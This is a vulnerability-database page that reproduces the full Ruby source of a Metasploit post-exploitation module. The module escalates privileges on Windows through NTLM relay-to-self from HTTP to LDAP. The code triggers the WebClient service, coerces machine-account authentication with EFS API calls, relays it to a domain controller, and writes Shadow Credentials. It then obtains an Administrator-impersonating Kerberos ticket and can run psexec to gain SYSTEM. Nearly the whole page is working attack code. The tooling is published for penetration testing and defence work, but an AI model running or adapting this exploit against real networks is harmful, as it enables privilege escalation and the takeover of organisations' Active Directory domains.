Lucene search
K

NTLM Relay to Self (HTTP to LDAP) - Post Exploitation

🗓️ 17 Jun 2026 19:03:45Reported by jheysel-r7Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 194 Views

NTLM relay-to-self escalation from HTTP to LDAP with credential relaying to gain SYSTEM access.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  include Msf::Exploit::Remote::HttpServer::Relay
  include Msf::Exploit::Remote::LDAP::ActiveDirectory
  include Msf::Post::Windows::Priv
  include Msf::Post::File

  attr_accessor :service

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'NTLM Relay to Self (HTTP to LDAP) - Post Exploitation',
        'Description' => %q{
          This module performs an NTLM relay-to-self privilege escalation attack. It starts an HTTP-to-LDAP
          relay server on the compromised host, then triggers the WebClient service via an ETW event
          (allowing a low-privilege user to start it), and coerces the local machine account to authenticate
          via OpenEncryptedFileRaw to the relay listener over WebDAV.

          The coerced machine account NTLM authentication is relayed to a Domain Controller's LDAP service,
          where the module writes Shadow Credentials (msDS-KeyCredentialLink) to its own AD object and
          obtains a Kerberos TGT via PKINIT. The module then performs S4U2Proxy to obtain an impersonating
          service ticket for Administrator, enabling psexec back to itself for SYSTEM access.

          RUN_GET_TICKET and RUN_PSEXEC are independent toggles. An operator can obtain a ticket without running
          psexec, run psexec with a previously obtained ticket, or run both sequentially. RUN_PSEXEC defaults to
          false so the module does not automatically attempt lateral movement.
        },
        'License' => MSF_LICENSE,
        'Stance' => Msf::Exploit::Stance::Passive,
        'Passive' => true,
        'Author' => [ 'jheysel-r7' ],
        'Arch' => [ ARCH_X64, ARCH_X86 ],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Targets' => [
          [ 'Windows', {} ]
        ],
        'DisclosureDate' => '2001-01-01', # First record of NTLM Relaying
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )

    register_options([
      OptPort.new('SRVPORT', [true, 'The port the victim machine will listen on', 8081]),
      OptAddress.new('SRVHOST', [true, 'The interface the victim will listen on', '0.0.0.0']),
      OptPort.new('RPORT', [true, 'The target LDAP server port', 389]),
      OptString.new('TARGETURI', [true, 'The target URI to relay', '/']),
      OptString.new('DOMAIN', [false, 'The target domain (auto-detected from session if blank)', '']),
      OptBool.new('RANDOMIZE_TARGETS', [false, 'Randomize relay targets', false]),
      OptInt.new('SessionKeepalive', [false, 'Keepalive interval in seconds', 300]),
      OptBool.new('RUN_CHECKS', [true, 'Run pre-flight checks before starting the relay server', true]),
      OptBool.new('RUN_GET_TICKET', [
        true,
        'Write key credential (Shadow Credentials) and obtain a Kerberos TGT/ST for the target object.', true
      ]),
      OptBool.new('RUN_PSEXEC', [
        true,
        'Use the obtained ticket to run psexec against the target host for a session. Only meaningful for computer targets.', false
      ]),
      OptString.new('TARGET_PRIVILEGED_USER', [true, 'The privileged user to attempt to impersonate and authenticate as', 'Administrator']),
      OptString.new('SPN', [false, 'Service Principal Name for the TGS request (default: CIFS/<target_fqdn>)', '']),
      OptInt.new('COERCE_AUTH_WAIT', [true, 'Time to wait to try a different EFS Win32 API via railgun after the first wasn\'t successful', 3]),
    ])

    # The module passes the payload definition to the psexec module which will start the handler
    register_advanced_options([
      OptBool.new('DisablePayloadHandler', [false, 'Disable the handler', true])
    ])

    # These are loaded in from the ActiveDirectory mixin which the module will only use with the session returned from
    # the LDAP relay, deregister as they're unnecessary
    deregister_options('LDAPDomain', 'LDAPPassword', 'LDAPUsername')
  end

  def relay_targets
    Msf::Exploit::Remote::Relay::TargetList.new(
      :ldap,
      datastore['RPORT'],
      datastore['RHOSTS'],
      datastore['TARGETURI'],
      randomize_targets: datastore['RANDOMIZE_TARGETS'],
      drop_mic_only: false,
      drop_mic_and_sign_key_exch_flags: true
    )
  end

  def lm_compatibility_level
    registry_getvaldata('HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa', 'LmCompatibilityLevel')
  end

  # Auto-detects the victim's machine account name (e.g., desktop-123$)
  def default_machine_account
    computer_name = session.sys.config.sysinfo['Computer']
    "#{computer_name}$".downcase
  end

  # Resolves the target domain from the datastore or auto-detects from the session.
  def resolve_domain
    domain = datastore['DOMAIN'].to_s.strip
    return domain unless domain.empty? || domain == '/'

    detected = get_domain_name
    if detected.to_s.empty?
      print_error('Could not auto-detect domain. Please set the DOMAIN option manually.')
      return nil
    end
    print_status("Auto-detected domain: #{detected}")
    detected
  end

  # Derives the FQDN for the target computer object.
  def target_fqdn(target_name, domain_fqdn)
    hostname = target_name.delete_suffix('$')
    "#{hostname}.#{domain_fqdn}".downcase
  end

  # Validates options early and fails fast on invalid configurations.
  def validate_options!
    unless datastore['RUN_GET_TICKET'] || datastore['RUN_PSEXEC']
      print_status('Neither RUN_GET_TICKET nor RUN_PSEXEC is set. The module will only perform the relay.')
      return false
    end

    true
  end

  def exploit
    unless session.type == 'meterpreter'
      fail_with(Failure::BadConfig, "This module requires a Meterpreter session (got: #{session.type}).")
    end

    @spawned_ldap_sessions = []

    pre_flight_checks if datastore['RUN_CHECKS']

    print_status("Starting relay server bound to Session #{session.sid}...")
    start_service({ 'Comm' => session })
    print_status("Server successfully started on #{srvhost}:#{datastore['SRVPORT']} via Session #{session.sid}.")

    print_status('Starting WebClient service via ETW trigger...')
    start_webclient_service

    print_status('Coercing machine account authentication via PetitPotam (EfsRpc) to relay listener...')
    coerce_authentication

    @http_relay_service.wait if @http_relay_service
  end

  # Starts the WebClient service by attempting a connection to a WebDAV resource via WNetAddConnection2.
  # This triggers the MPR -> davclnt.dll -> TriggerStartWebClientService code path internally,
  # which fires the ETW event from the local process context (with LOCAL SID in the token).
  # The connection itself will fail, but the side effect of loading davclnt.dll starts the service.
  # Starts the WebClient service using an ETW event trigger via railgun.
  # Registering an ETW provider with the WebClient service trigger GUID and writing
  # an event causes the service to auto-start (works from medium integrity with LOCAL SID).
  def start_webclient_service
    check_local_sid
    # GUID: {22B6D684-FA63-4578-87C9-EFFCBE6643C7}
    guid = [0x22B6D684, 0xFA63, 0x4578, 0x87, 0xC9, 0xEF, 0xFC, 0xBE, 0x66, 0x43, 0xC7].pack('VvvC8')

    railgun = session.railgun
    railgun.add_function('advapi32', 'EventRegister', 'DWORD', [
      ['PBLOB', 'ProviderId', 'in'],
      ['PBLOB', 'EnableCallback', 'in'],
      ['PBLOB', 'CallbackContext', 'in'],
      ['PBLOB', 'RegHandle', 'out']
    ])

    if session.arch == ARCH_X64
      railgun.add_function('advapi32', 'EventWrite', 'DWORD', [
        ['LPVOID', 'RegHandle', 'in'],
        ['PBLOB', 'EventDescriptor', 'in'],
        ['DWORD', 'UserDataCount', 'in'],
        ['PBLOB', 'UserData', 'in']
      ])
      railgun.add_function('advapi32', 'EventUnregister', 'DWORD', [
        ['LPVOID', 'RegHandle', 'in']
      ])
    else
      # x86 stdcall: ULONGLONG is passed as   DWORDs on the stack (low first, high second)
      railgun.add_function('advapi32', 'EventWrite', 'DWORD', [
        ['DWORD', 'RegHandleLow', 'in'],
        ['DWORD', 'RegHandleHigh', 'in'],
        ['PBLOB', 'EventDescriptor', 'in'],
        ['DWORD', 'UserDataCount', 'in'],
        ['PBLOB', 'UserData', 'in']
      ])
      railgun.add_function('advapi32', 'EventUnregister', 'DWORD', [
        ['DWORD', 'RegHandleLow', 'in'],
        ['DWORD', 'RegHandleHigh', 'in']
      ])
    end

    result = railgun.advapi32.EventRegister(guid, nil, nil, 8)
    unless result['return'] == 0
      fail_with(Failure::Unknown, "EventRegister failed with error code: #{result['return']}")
    end

    reg_handle_raw = result['RegHandle']

    # EVENT_DESCRIPTOR struct layout:
    # Id(USHORT=2), Version(UCHAR=1), Channel(UCHAR=1), Level(UCHAR=1), Opcode(UCHAR=1), Task(USHORT=2), Keyword(ULONGLONG=8)
    # Values: Id=1, Version=0, Channel=0, Level=4, Opcode=0, Task=0, Keyword=0
    event_desc = [1, 0, 0, 4, 0, 0, 0].pack('vCCCCvQ<')

    if session.arch == ARCH_X64
      reg_handle = reg_handle_raw.unpack1('Q<')
      result = railgun.advapi32.EventWrite(reg_handle, event_desc, 0, nil)
      unless result['return'] == 0
        railgun.advapi32.EventUnregister(reg_handle)
        fail_with(Failure::Unknown, "EventWrite failed with error code: #{result['return']}")
      end
      railgun.advapi32.EventUnregister(reg_handle)
    else
      handle_low, handle_high = reg_handle_raw.unpack('VV')
      result = railgun.advapi32.EventWrite(handle_low, handle_high, event_desc, 0, nil)
      unless result['return'] == 0
        railgun.advapi32.EventUnregister(handle_low, handle_high)
        fail_with(Failure::Unknown, "EventWrite failed with error code: #{result['return']}")
      end
      railgun.advapi32.EventUnregister(handle_low, handle_high)
    end
    print_good('WebClient service triggered successfully via ETW.')

    # Give the service a moment to start
    Rex.sleep(3)
  end

  # Coerces machine account authentication by calling EFS Win32 APIs via railgun
  # with a WebDAV UNC path, triggering the machine account to authenticate to our relay listener.
  # Tries multiple methods until one succeeds, similar to PetitPotam's Automatic mode.
  def coerce_authentication
    hostname = session.sys.config.sysinfo['Computer']
    listener = "#{hostname}@#{datastore['SRVPORT']}/print"
    @relay_succeeded = false

    efs_methods = [
      { name: 'OpenEncryptedFileRaw', call: ->(path) { session.railgun.advapi32.OpenEncryptedFileRawW(path, 0, 8) } },
      { name: 'EncryptFile', call: ->(path) { session.railgun.advapi32.EncryptFileW(path) } },
      { name: 'DecryptFile', call: ->(path) { session.railgun.advapi32.DecryptFileW(path, 0) } }
    ]

    efs_methods.each do |method|
      break if @relay_succeeded

      rand_path = "#{Rex::Text.rand_text_alphanumeric(4..8)}\\#{Rex::Text.rand_text_alphanumeric(4..8)}.#{Rex::Text.rand_text_alphanumeric(3)}"
      unc_path = "\\\\#{listener}\\#{rand_path}"

      print_status("Attempting coercion via #{method[:name]} on #{unc_path}...")
      method[:call].call(unc_path)

      # Give the relay a moment to process before trying the next method
      Rex.sleep(datastore['COERCE_AUTH_WAIT'])
    end
  end

  def on_relay_success(relay_connection:, relay_identity:)
    @relay_succeeded = true
    print_good('Relay succeeded! Handshake completed.')

    ldap_session = session_setup(relay_connection, relay_identity)
    return unless ldap_session

    return unless validate_options!

    dc_ip = relay_connection.socket.peerhost
    target_name = default_machine_account

    framework.threads.spawn("Post_Relay_Chain_#{ldap_session.sid}", false) do
      run_post_relay_chain(ldap_session, dc_ip, target_name)
    end
  rescue StandardError => e
    elog('Failed to setup the session or orchestrate post-relay actions', error: e)
    print_error("Relay success handling failed: #{e.message}")
  end

  def run_post_relay_chain(ldap_session, dc_ip, target_name)
    if datastore['RUN_GET_TICKET']
      run_get_ticket_chain(ldap_session, dc_ip, target_name)
    end

    if datastore['RUN_PSEXEC']
      run_psexec_step(ldap_session, dc_ip, target_name)
    end
  end

  def run_get_ticket_chain(ldap_session, dc_ip, target_name)
    added_device_id = nil

    begin
      domain_fqdn = resolve_domain
      return unless domain_fqdn

      fqdn = target_fqdn(target_name, domain_fqdn)

      shadow_results = call_shadow_credentials_module('ADD', ldap_session.sid, target_name)
      return unless shadow_results

      added_device_id = shadow_results[:device_id]
      cert_path = shadow_results[:cert_path]

      ccache_path = call_get_ticket_module('GET_TGS', cert_path, dc_ip, domain_fqdn, target_name, fqdn: fqdn)
      return unless ccache_path

      print_good("Obtained impersonating ST for target host #{target_name}")

      store_or_export_ticket(ccache_path, target_name)
    rescue StandardError => e
      print_error("Error during ticket acquisition chain: #{e.message}")
    ensure
      print_status('--- Initiating OPSEC Cleanup ---')

      if added_device_id
        print_status("Removing Shadow Credentials (Device ID: #{added_device_id})...")
        call_shadow_credentials_module('REMOVE', ldap_session.sid, target_name, added_device_id)
      end

      print_status('Cleanup complete.')
    end
  end

  def run_psexec_step(_ldap_session, _dc_ip, target_name)
    unless datastore['RUN_GET_TICKET']
      print_warning('RUN_PSEXEC set without RUN_GET_TICKET; expecting a previously obtained ticket.')
    end

    domain_fqdn = resolve_domain
    return unless domain_fqdn

    fqdn = target_fqdn(target_name, domain_fqdn)

    ccache_path = find_latest_ticket(target_name, domain_fqdn)
    unless ccache_path
      print_error("No cached ticket found for #{target_name}. Run with RUN_GET_TICKET first.")
      return
    end

    execute_psexec(ccache_path, fqdn, domain_fqdn)
  end

  def store_or_export_ticket(ccache_path, target_name)
    @last_ccache_path = ccache_path
    print_status("Ticket for #{target_name} stored at: #{ccache_path}")
  end

  def find_latest_ticket(target_name, domain_fqdn)
    return @last_ccache_path if @last_ccache_path && File.exist?(@last_ccache_path)

    fqdn = target_fqdn(target_name, domain_fqdn)
    ticket_loot = framework.db.loots.where("ltype LIKE '%kerberos.ccache%'").where('info LIKE ?', "%#{fqdn}%").last
    return ticket_loot.path if ticket_loot && File.exist?(ticket_loot.path)

    nil
  end

  def call_shadow_credentials_module(action, ldap_session_id, target_name, device_id = nil)
    mod_refname = 'admin/ldap/shadow_credentials'
    print_status("Loading #{mod_refname} to execute against LDAP Session #{ldap_session_id}")

    shadow_module = framework.modules.create(mod_refname)

    unless shadow_module
      print_error("Failed to load module: #{mod_refname}")
      return nil
    end

    shadow_module.datastore['SESSION'] = ldap_session_id
    shadow_module.datastore['ACTION'] = action
    shadow_module.datastore['TARGET_USER'] = target_name
    shadow_module.datastore['DEVICE_ID'] = device_id if action == 'REMOVE' && device_id
    shadow_module.datastore['VERBOSE'] = datastore['VERBOSE']

    print_status("Running #{mod_refname} to #{action} key for #{target_name}...")

    results = shadow_module.run_simple(
      'LocalInput' => user_input,
      'LocalOutput' => user_output,
      'RunAsJob' => false
    )

    if action == 'ADD'
      if results && results.is_a?(Array) && results.length >= 2
        returned_device_id, stored_path = results
        print_status("Shadow Credentials successfully added (Device ID: #{returned_device_id}).")
        return { device_id: returned_device_id, cert_path: stored_path }
      end
    elsif action == 'REMOVE'
      if results
        print_good("Successfully removed KeyCredentialLink with Device ID: #{device_id}")
        return { success: true }
      end
    end

    print_error("Shadow credentials module failed or did not return expected data for action #{action}.")
    nil
  end

  # Obtains a Kerberos ticket via the get_ticket module.
  # action: 'GET_TGT' (user targets) or 'GET_TGS' (computer targets with S4U2Proxy impersonation).
  def call_get_ticket_module(action, cert_path, dc_ip, domain_fqdn, target_name, fqdn: nil)
    is_tgs = action == 'GET_TGS'
    print_status(is_tgs ? 'Requesting S4U2Proxy TGS for Administrator...' : "Requesting TGT for user #{target_name} via PKINIT...")

    get_ticket_mod = framework.modules.create('auxiliary/admin/kerberos/get_ticket')
    initial_loot_id = framework.db.loots.where("ltype LIKE '%kerberos.ccache%'").maximum(:id) || 0

    get_ticket_mod.datastore['ACTION'] = action
    get_ticket_mod.datastore['CERT_FILE'] = cert_path
    get_ticket_mod.datastore['DOMAIN'] = domain_fqdn
    get_ticket_mod.datastore['RHOSTS'] = dc_ip
    get_ticket_mod.datastore['USERNAME'] = target_name

    if is_tgs
      get_ticket_mod.datastore['IMPERSONATE'] = datastore['TARGET_PRIVILEGED_USER'].to_s.empty? ? 'Administrator' : datastore['TARGET_PRIVILEGED_USER']
      get_ticket_mod.datastore['IMPERSONATE_TYPE'] = 'generic'
      get_ticket_mod.datastore['SPN'] = datastore['SPN'].to_s.empty? ? "CIFS/#{fqdn}" : datastore['SPN']
    end

    vprint_status('Datastore values being sent to get_ticket:')
    vprint_status("ACTION: #{get_ticket_mod.datastore['ACTION']}")
    vprint_status("CERT_FILE: #{get_ticket_mod.datastore['CERT_FILE']}")
    vprint_status("DOMAIN: #{get_ticket_mod.datastore['DOMAIN']}")
    vprint_status("RHOSTS: #{get_ticket_mod.datastore['RHOSTS']}")
    vprint_status("USERNAME: #{get_ticket_mod.datastore['USERNAME']}")
    vprint_status("IMPERSONATE: #{get_ticket_mod.datastore['IMPERSONATE']}")
    vprint_status("IMPERSONATE_TYPE: #{get_ticket_mod.datastore['IMPERSONATE_TYPE']}")
    vprint_status("SPN: #{get_ticket_mod.datastore['SPN']}")

    begin
      get_ticket_mod.run_simple('LocalInput' => user_input, 'LocalOutput' => user_output)
    rescue StandardError => e
      print_error("Getting the #{is_tgs ? 'TGS' : 'TGT'} has failed: #{e.message}.")
      return nil
    end

    ticket_loot = framework.db.loots.where("ltype LIKE '%kerberos.ccache%'").where('id > ?', initial_loot_id).last

    unless ticket_loot && File.exist?(ticket_loot.path)
      print_error("Failed to retrieve #{is_tgs ? 'TGS' : 'TGT'} from database.")
      return nil
    end

    print_good("#{is_tgs ? 'S4U2Proxy Ticket' : 'TGT'} acquired: #{ticket_loot.path}")
    ticket_loot.path
  end

  def execute_psexec(ccache_path, fqdn, domain_fqdn)
    print_status("Executing PsExec with Kerberos ticket via session #{session.sid} COMM channel...")

    psexec_mod = framework.modules.create('exploit/windows/smb/psexec')
    unless psexec_mod
      print_error('Failed to load module: exploit/windows/smb/psexec')
      return
    end

    psexec_mod.datastore['RHOSTS'] = fqdn
    psexec_mod.datastore['SMBUser'] = 'Administrator'
    psexec_mod.datastore['SMBDomain'] = domain_fqdn
    psexec_mod.datastore['SMB::Auth'] = 'kerberos'
    psexec_mod.datastore['Smb::Krb5Ccname'] = ccache_path
    psexec_mod.datastore['Smb::Rhostname'] = fqdn
    psexec_mod.datastore['SMB::Comm'] = session.sid
    psexec_mod.datastore['PAYLOAD'] = payload_instance.refname
    psexec_mod.datastore['LHOST'] = datastore['LHOST'] if datastore['LHOST']
    psexec_mod.datastore['LPORT'] = datastore['LPORT'] if datastore['LPORT']

    print_status("Launching PsExec against #{fqdn} as Administrator (Kerberos) via COMM session #{session.sid}...")

    psexec_mod.exploit_simple(
      'LocalInput' => user_input,
      'LocalOutput' => user_output,
      'RunAsJob' => true
    )

    print_good('PsExec module launched. Check sessions for new elevated session.')
  end

  def session_setup(relay_connection, relay_identity)
    client = relay_connection.create_ldap_client
    ldap_session = Msf::Sessions::LDAP.new(
      relay_connection.socket,
      {
        client: client,
        keepalive_seconds: datastore['SessionKeepalive']
      }
    )
    domain, _, username = relay_identity.partition('\\')

    ldap_session.set_from_exploit(self)
    ldap_session.info = "#{domain}\\#{username}"
    framework.sessions.register(ldap_session)

    if ldap_session.sid
      print_good("LDAP Session #{ldap_session.sid} successfully opened!")
      @spawned_ldap_sessions << ldap_session.sid
      ldap_session
    else
      print_error('Failed to register the LDAP session.')
      nil
    end
  end

  def pre_flight_checks
    check_db_status
    check_options
    check_lm_compatibility_level
    check_privs
    check_port_availability
    check_target_reachability
  end

  def check_db_status
    unless framework.db.active
      fail_with(Failure::BadConfig, 'A connected Metasploit database is required to track Kerberos tickets. Please start the database using `db_connect`.')
    end
  end

  def check_options
    unless framework.features.enabled?(Msf::FeatureManager::LDAP_SESSION_TYPE)
      fail_with(Failure::BadConfig, 'This module requires the `ldap_session_type` feature to be enabled. Please enable this feature using `features set ldap_session_type true`')
    end
  end

  def check_lm_compatibility_level
    lm_level = lm_compatibility_level

    if lm_level > 2
      fail_with(Failure::BadConfig, 'The target system is configured to not send NTLMv1 responses. This module requires NTLMv1 to be enabled to capture relay credentials. Please set the LmCompatibilityLevel registry value to 2 or lower and try again.')
    end

    print_good("Target system LmCompatibilityLevel is set to #{lm_level}, which allows NTLMv1 responses. Proceeding with module execution.")
  end

  def check_privs
    srvport = datastore['SRVPORT'].to_i

    if srvport <= 1024 && !is_admin?
      print_warning("You are attempting to bind to a privileged port (#{srvport}) but do not have Admin rights.")
      print_warning('The OS will likely block this. Consider changing SRVPORT to something > 1024, or escalating privileges.')
    end
  end

  # Verifies the session token has the LOCAL SID (S-1-2-0). The ETW service trigger
  # for WebClient requires this SID. Present for interactive/RDP logons, absent for
  # network (type 3) logons such as psexec or WMI-spawned sessions.
  def check_local_sid
    # S-1-2-0 binary SID: Revision=1, SubAuthorityCount=1,
    # IdentifierAuthority={0,0,0,0,0,2}, SubAuthority[0]=0
    local_sid = "\x01\x01\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00"

    result = session.railgun.advapi32.CheckTokenMembership(0, local_sid, 4)
    is_member = result['IsMember'].unpack1('V')

    unless is_member != 0
      fail_with(Failure::BadConfig,
                'Session token does not have the LOCAL SID (S-1-2-0). ' \
                'The ETW trigger requires an interactive or RDP logon. ' \
                'Network logon sessions (e.g., psexec/WMI) will not work.')
    end
    print_good('Session token has LOCAL SID (S-1-2-0) — ETW service trigger will work.')
  end

  def check_port_availability
    srvport = datastore['SRVPORT'].to_i
    print_status("Checking if port #{srvport} is available on the victim...")

    begin
      connections = session.net.config.get_netstat
      conflict = connections.find do |conn|
        conn.local_port == srvport &&
          conn.protocol == 'tcp' &&
          conn.state == 'LISTEN'
      end

      if conflict
        pid_info = conflict.pid_name.to_s.empty? ? conflict.pid : conflict.pid_name
        fail_with(Failure::BadConfig, "Port #{srvport} is already in use by PID #{pid_info} on the victim machine! Please choose a different SRVPORT.")
      else
        print_good("Port #{srvport} is available on the victim machine.")
      end
    rescue NoMethodError, Rex::Post::Meterpreter::RequestError => e
      print_warning("Could not verify port availability (Error: #{e.message}). Proceeding anyway...")
    end
  end

  def check_target_reachability
    rhosts_string = datastore['RHOSTS']
    rport = datastore['RPORT'].to_i

    print_status("Verifying victim can reach the target LDAP server(s) on port #{rport}...")

    Rex::Socket::RangeWalker.new(rhosts_string).each do |rhost|
      sock = session.net.socket.create(
        Rex::Socket::Parameters.new(
          'PeerHost' => rhost,
          'PeerPort' => rport,
          'Proto' => 'tcp'
        )
      )
      sock.close
      print_good("Target LDAP server #{rhost} is reachable from the victim!")
    rescue StandardError => e
      print_warning("Could not reach #{rhost}:#{rport} from the victim machine (Error: #{e.message}).")
      print_warning("The relay will likely fail for #{rhost} if the victim cannot communicate with it.")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation